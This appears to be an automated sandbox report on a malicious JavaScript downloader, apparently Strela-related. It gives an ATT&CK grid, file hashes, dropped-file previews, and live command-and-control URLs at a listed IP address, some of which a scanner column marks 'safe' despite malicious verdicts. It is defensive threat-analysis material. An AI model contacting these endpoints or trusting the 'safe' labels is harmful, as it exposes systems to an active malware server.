Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/pacen	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/aC	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2190478159.0000016EDF820000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/aC	net.exe, 00000007.00000002.2190935668.000001D08E56B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.3413332089.0000016EDFA12000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/t	net.exe, 00000007.00000002.2190935668.000001D08E538000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2190935668.000001D08E58B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2190935668.000001D08E56B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2190935668.000001D08E538000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/pacen	net.exe, 00000007.00000002.2190935668.000001D08E538000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590007
Start date and time:	2025-01-13 13:24:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3041621112067010510.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 2.16.168.107, 2.16.168.105, 2.22.242.11, 2.22.242.123, 2.22.242.136, 13.107.246.45, 3.219.243.226, 20.12.23.50, 173.222.162.64, 23.56.162.204
Excluded domains from analysis (whitelisted): www.bing.com, e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 3041621112067010510.js

Simulations

Behavior and APIs

Time	Type	Description
07:25:02	API Interceptor	20x Sleep call for process: powershell.exe modified
07:25:06	API Interceptor	1x Sleep call for process: net.exe modified
07:25:06	API Interceptor	2x Sleep call for process: svchost.exe modified
07:25:13	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	4208093227073.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14137177262856222939.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2816632483050917528.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	29112223682907312977.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	281388015101323984.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	4208093227073.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32230219901300318079.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14137177262856222939.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2165116371124411090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1528915004169812209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2816632483050917528.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	29112223682907312977.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263298595780888
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0M:9JZj5MiKNnNhoxu9
MD5:	05CC5B5AA562C671531EFEF2A58EE731
SHA1:	E268C879DB209E5CD3B8D20F4B4138E1CD5ACF11
SHA-256:	725C2BFC792A6B666F9727CCFBA2BCDF812569F609D16D0F91EA535ADC8893EA
SHA-512:	5B2A73EB5A96D94410500059E519921E2B2EA50975944D7F2BA2396D528639DEC8F1E287D6F33B58DE8197632D480FACF7492DB189238E42CC7073DA0F287687
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xbab8d303, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555887771231268
Encrypted:	false
SSDEEP:	1536:FSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:FazaSvGJzYj2UlmOlOL
MD5:	60099BBE89CD32C50EE284580F98A0E9
SHA1:	D62930D359F4FDF4A5AAC913D861FC11BD2A9176
SHA-256:	3E944538C445571745D38525ED6FD68247311E78AC6C7EBA7E718118AF5F6791
SHA-512:	9410D9104108232017E8B4CEE803DD1D3FEEEBB10A3344463573EBD5570965FEF5B37D58A26FE6B932E96492B3C15357C6262D76215C20B46AD70E9917D5A280
Malicious:	false
Preview:	....... .......7.......X\...;...{......................0.e......!...{?......}O.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..........................................}m.................v.\|r.....}O..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07925197019192107
Encrypted:	false
SSDEEP:	3:slEYeU4DrfNaAPaU1lFzWXalluxmO+l/SNxOf:jz7NDPaURgmOH
MD5:	AC4406B3A56506CB1790C81A918A0E14
SHA1:	3E562AAE80A3ED308C3BFD2D9CA20372FC1C2DED
SHA-256:	2548BCF6987C8B011309D7172C5D1A0DB1385E038711D4A7B266D8E95216A4E9
SHA-512:	05D85FE818F8E1084F3522A79DFF9A26722E2FEB8343C25EB2AE9E745009ABDB502C573D68E3082957CD8A6580C5A1E37DCAB0DC053572540E1F293837ABF66D
Malicious:	false
Preview:	...T.....................................;...{.......}O..!...{?..........!...{?..!...{?..g...!...{?.................v.\|r.....}O.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.169006540322855
Encrypted:	false
SSDEEP:	6:iOr+TlLdMyq2PN72nKuAl9OmbnIFUth+TlCh1Zmwv+TlOClRkwON72nKuAl9Omb5:7KTljvVaHAahFUtITc1/WToq5OaHAaSJ
MD5:	4E8D20D55E1D5FC077FCAB009BA3B632
SHA1:	155D75555C947FFEB0055896DAF7CD87A3AC9E93
SHA-256:	EDE86893F9325F6E3CE561DB8727C797E7F18A0C551291FB1C16F9446AB259E4
SHA-512:	83260A7C2712F456D41BD3F7A2B9E1BE7CA348A0E1258013C61AFF3D82CD111A463C2A0C2BABF19861F12A06E408794FC0BF110667CC38A240DAF5976E78869C
Malicious:	false
Preview:	2025/01/13-07:25:06.459 1ae0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-07:25:06.462 1ae0 Recovering log #3.2025/01/13-07:25:06.463 1ae0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.169006540322855
Encrypted:	false
SSDEEP:	6:iOr+TlLdMyq2PN72nKuAl9OmbnIFUth+TlCh1Zmwv+TlOClRkwON72nKuAl9Omb5:7KTljvVaHAahFUtITc1/WToq5OaHAaSJ
MD5:	4E8D20D55E1D5FC077FCAB009BA3B632
SHA1:	155D75555C947FFEB0055896DAF7CD87A3AC9E93
SHA-256:	EDE86893F9325F6E3CE561DB8727C797E7F18A0C551291FB1C16F9446AB259E4
SHA-512:	83260A7C2712F456D41BD3F7A2B9E1BE7CA348A0E1258013C61AFF3D82CD111A463C2A0C2BABF19861F12A06E408794FC0BF110667CC38A240DAF5976E78869C
Malicious:	false
Preview:	2025/01/13-07:25:06.459 1ae0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-07:25:06.462 1ae0 Recovering log #3.2025/01/13-07:25:06.463 1ae0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.187809616193217
Encrypted:	false
SSDEEP:	6:iOr+Tlw+q2PN72nKuAl9Ombzo2jMGIFUth+TlmCGAWZmwv+TlmCG3VkwON72nKuA:7KTu+vVaHAa8uFUtITAFAW/WTAF3V5Ox
MD5:	2E50E1870F7C778D18320B055F7B60C4
SHA1:	C9A7677F6C8B264529BF86580FDBA16D8C96E7B8
SHA-256:	89B7F7D0A29BCF84E61BA342DF5895344F454F443F0C3608BBF8E422834A9E11
SHA-512:	E64A17D854A17520DAF6A30185D208081EBDAB970B06AE63C5013CD994599415634B30B5459EB5BBF15A2D98B44DB348D5A5C319202DA9606101FDFE73E525AD
Malicious:	false
Preview:	2025/01/13-07:25:06.489 dcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-07:25:06.492 dcc Recovering log #3.2025/01/13-07:25:06.492 dcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.187809616193217
Encrypted:	false
SSDEEP:	6:iOr+Tlw+q2PN72nKuAl9Ombzo2jMGIFUth+TlmCGAWZmwv+TlmCG3VkwON72nKuA:7KTu+vVaHAa8uFUtITAFAW/WTAF3V5Ox
MD5:	2E50E1870F7C778D18320B055F7B60C4
SHA1:	C9A7677F6C8B264529BF86580FDBA16D8C96E7B8
SHA-256:	89B7F7D0A29BCF84E61BA342DF5895344F454F443F0C3608BBF8E422834A9E11
SHA-512:	E64A17D854A17520DAF6A30185D208081EBDAB970B06AE63C5013CD994599415634B30B5459EB5BBF15A2D98B44DB348D5A5C319202DA9606101FDFE73E525AD
Malicious:	false
Preview:	2025/01/13-07:25:06.489 dcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-07:25:06.492 dcc Recovering log #3.2025/01/13-07:25:06.492 dcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\85bec50f-99fa-4842-b20a-f0f096ecc477.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9517732108925925
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqHGsBdOg2HAEfcaq3QYiubcP7E4T3y:Y2sRdsiLdMHAD3QYhbA7nby
MD5:	94B7A1DCDF3AE27D2922F7D7289F7570
SHA1:	A38617CA36ECEB7378D9F9BF4089348318C58755
SHA-256:	225132FC1F0D8305B166134257B1184CD98B61388A37072E92DE0E5F417D4B1A
SHA-512:	B299C1F0B95DC5B549509CCCA1748F71C552F1BC9803CA46CADFA2C413E00D526A7A0CF4ADA3796D403234D96A3FE245E275EE8DA8B6189FF6B98B954B07802F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381331118135705","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137121},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9517732108925925
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqHGsBdOg2HAEfcaq3QYiubcP7E4T3y:Y2sRdsiLdMHAD3QYhbA7nby
MD5:	94B7A1DCDF3AE27D2922F7D7289F7570
SHA1:	A38617CA36ECEB7378D9F9BF4089348318C58755
SHA-256:	225132FC1F0D8305B166134257B1184CD98B61388A37072E92DE0E5F417D4B1A
SHA-512:	B299C1F0B95DC5B549509CCCA1748F71C552F1BC9803CA46CADFA2C413E00D526A7A0CF4ADA3796D403234D96A3FE245E275EE8DA8B6189FF6B98B954B07802F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381331118135705","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137121},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.2496288296919476
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7UJiDm:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzho
MD5:	123D77B6F47BB28D5283F75456E5D36D
SHA1:	46B328883AA2D064D0864A5C4A3F159D28704BF5
SHA-256:	17218D13D68B6BCD1ECF72EF1F9DC6184EFE053836230CEDD84DE98D123BCF7B
SHA-512:	3D02D29ECE44360E6AAAC95745DA3022A0728E4044A962B22673CB6D1387A2041F9C3DE46B50D1AB61A3A8475137790E36D9B106A58C90C3251C93F1B37A58B2
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.156594364468961
Encrypted:	false
SSDEEP:	6:iOr+TnkE9+q2PN72nKuAl9OmbzNMxIFUth+TnFWZmwv+Tn/9VkwON72nKuAl9Omk:7KTnV9+vVaHAa8jFUtITnFW/WTnFV5OG
MD5:	7B238B79BD58107B1310FDEBFB3F3E56
SHA1:	FCFC005C2ED6A0B7BAF1B8F4EB720CDF65440C7F
SHA-256:	701A3BB4E3058D98A9911071D420B996271B8AA9A62BA135CBDA3A83CCB025C1
SHA-512:	AA688318D65FA04CD64FA15043F91D54F5CD2C373589CCBD18644D6449843C5B79F003A4087113DA6DAEFC744F483AE31D76FD086D0CD0E7D0B5B52EF25DF292
Malicious:	false
Preview:	2025/01/13-07:25:06.668 dcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-07:25:06.670 dcc Recovering log #3.2025/01/13-07:25:06.671 dcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.156594364468961
Encrypted:	false
SSDEEP:	6:iOr+TnkE9+q2PN72nKuAl9OmbzNMxIFUth+TnFWZmwv+Tn/9VkwON72nKuAl9Omk:7KTnV9+vVaHAa8jFUtITnFW/WTnFV5OG
MD5:	7B238B79BD58107B1310FDEBFB3F3E56
SHA1:	FCFC005C2ED6A0B7BAF1B8F4EB720CDF65440C7F
SHA-256:	701A3BB4E3058D98A9911071D420B996271B8AA9A62BA135CBDA3A83CCB025C1
SHA-512:	AA688318D65FA04CD64FA15043F91D54F5CD2C373589CCBD18644D6449843C5B79F003A4087113DA6DAEFC744F483AE31D76FD086D0CD0E7D0B5B52EF25DF292
Malicious:	false
Preview:	2025/01/13-07:25:06.668 dcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-07:25:06.670 dcc Recovering log #3.2025/01/13-07:25:06.671 dcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444756941882841
Encrypted:	false
SSDEEP:	384:ye6ci5tz4fp8iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mz4fpbs3OazzU89UTTgUL
MD5:	4DE2F8F2E352CDF15F04B884BE5F6A08
SHA1:	BBD4B00F09AD607C1748E6A76B242AF8D5E34D8F
SHA-256:	3EA33F3460FFBCD052AFC5ABA96FF3DD1FAC2595C9BEDD4B5105F4129513FD0C
SHA-512:	9B26B28528246E5C45F3254C485DCCA86FC06AC1DBF181485CB4D3C7310EDBFDB1EDDCB3158DB06465EFC00628C66F56713B71C4DFC4234EC376E029EAC1E425
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.767839851664382
Encrypted:	false
SSDEEP:	48:7MaJioyVD8ioyUpoy1C7oy16oy1uNKOioy1noy1AYoy1Wioy1oioykioyBoy1non:71JuD8H2B/XjBihb9IVXEBodRBkK
MD5:	58B35CD6FC318A32B0376529256B1B22
SHA1:	05C4F1A6DCC7C230AC2D0A23656B795D6D6FDEA2
SHA-256:	1D6E714FD6BE6028453F26A6C4D7148537D2674D79C145AAC3A01D791FEF7AB5
SHA-512:	E8F8DF280C85547C74BBC0A2A8E569B09E2EEC98F9E58A22E2C6E23DF8E7E28A7ABF3BB2A87FEAF5750A7BB4AFE7A1F7E4FE43E7498FD57CF0328B81CF19D919
Malicious:	false
Preview:	.... .c.....v..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.756901573172974
Encrypted:	false
SSDEEP:	3:kkFkl7PN3/tfllXlE/HT8ktOtNNX8RolJuRdxLlGB9lQRYwpDdt:kKO3/eT8kKNMa8RdWBwRd
MD5:	FE6386F2FD23C95514E8A0A7C643114D
SHA1:	3F6E68178F1CD483027B00FB8702BE90366C37AC
SHA-256:	329D025085ACBD908E739DF7635A3D91BB002AEACF6F37CB94B60D3625005C4D
SHA-512:	A865293F15E7980F64360C1D500CDF7459985ABF5B31D8685E0313778CDB114F2FEB40BE5D2FE46E1040A75F1F236CB0F32F0DDBCB73E3CF19C35D5BD4F6F2B2
Malicious:	false
Preview:	p...... ..........E2.e..(....................................................... ..........W....H...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

